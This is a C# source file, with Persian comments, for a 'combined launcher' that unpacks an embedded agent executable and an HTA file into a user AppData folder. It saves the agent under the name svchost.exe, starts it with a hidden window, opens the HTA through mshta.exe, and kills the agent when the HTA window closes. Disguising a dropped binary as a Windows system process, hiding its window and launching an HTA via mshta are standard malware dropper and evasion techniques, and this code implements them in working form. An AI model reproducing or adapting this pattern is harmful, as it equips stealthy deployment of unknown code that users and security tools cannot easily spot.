using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; /* ============================================================ IRMOD Combined Launcher v2 (compiled) - embeds: launcher HTA + agent exe - start: old leftovers killed (path-verified) -> agent -> %LocalAppData%\WinHost\svchost.exe (hidden) HTA -> %LocalAppData%\WinHost\whost.hta (mshta) - agent watches this process (-watchdog:irmod_launcher) - mshta closed -> agent stopped -> exit ============================================================ */ class IRLaunch { static string dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "WinHost"); static void Main() { try { Directory.CreateDirectory(dir); } catch { } string agentPath = Path.Combine(dir, "svchost.exe"); string htaPath = Path.Combine(dir, "whost.hta"); /* استخراج ایجنت — هر بار اجرا = آپدیت خودکار */ try { using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream("agent.exe")) using (var fs = new FileStream(agentPath, FileMode.Create, FileAccess.Write)) { byte[] buf = new byte[8192]; int n; while ((n = rs.Read(buf, 0, buf.Length)) > 0) fs.Write(buf, 0, n); } } catch { } /* استخراج HTA لانچر */ try { using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream("launcher.hta")) using (var fs = new FileStream(htaPath, FileMode.Create, FileAccess.Write)) { byte[] buf = new byte[65536]; int n; while ((n = rs.Read(buf, 0, buf.Length)) > 0) fs.Write(buf, 0, n); } } catch { } /* پاکسازی باقی‌مانده‌های قبلی (فقط پروسه‌های پوشه خودمان) */ KillOurs(); /* ایجنت مخفی + سگ‌نگهبان روی پروسه خودم */ Process agent = null; try { agent = Process.Start(new ProcessStartInfo(agentPath, "-watchdog:irmod_launcher") { WorkingDirectory = dir, WindowStyle = ProcessWindowStyle.Hidden }); } catch { } /* لانچر (mshta) — تا باز است صبر */ Process ui = null; try { ui = Process.Start(new ProcessStartInfo("mshta.exe", "\"" + htaPath + "\"")); } catch { } if (ui != null) ui.WaitForExit(); else Thread.Sleep(Timeout.Infinite); /* خروجی لانچر → ایجنت و هر باقی‌مانده بسته شود */ try { if (agent != null && !agent.HasExited) agent.Kill(); } catch { } KillOurs(); } /* بستن ایجنت‌های خودمان: svchost/winhost که مسیرشان پوشه WinHost خودمان است (svchost سیستم هرگز لمس نمی‌شود) */ static void KillOurs() { foreach (var name in new string[] { "svchost", "winhost", "irmod_agent" }) { foreach (var p in Process.GetProcessesByName(name)) { try { string mp = ""; try { mp = p.MainModule != null ? p.MainModule.FileName : ""; } catch { } if (mp.StartsWith(dir, StringComparison.OrdinalIgnoreCase)) p.Kill(); } catch { } } } } }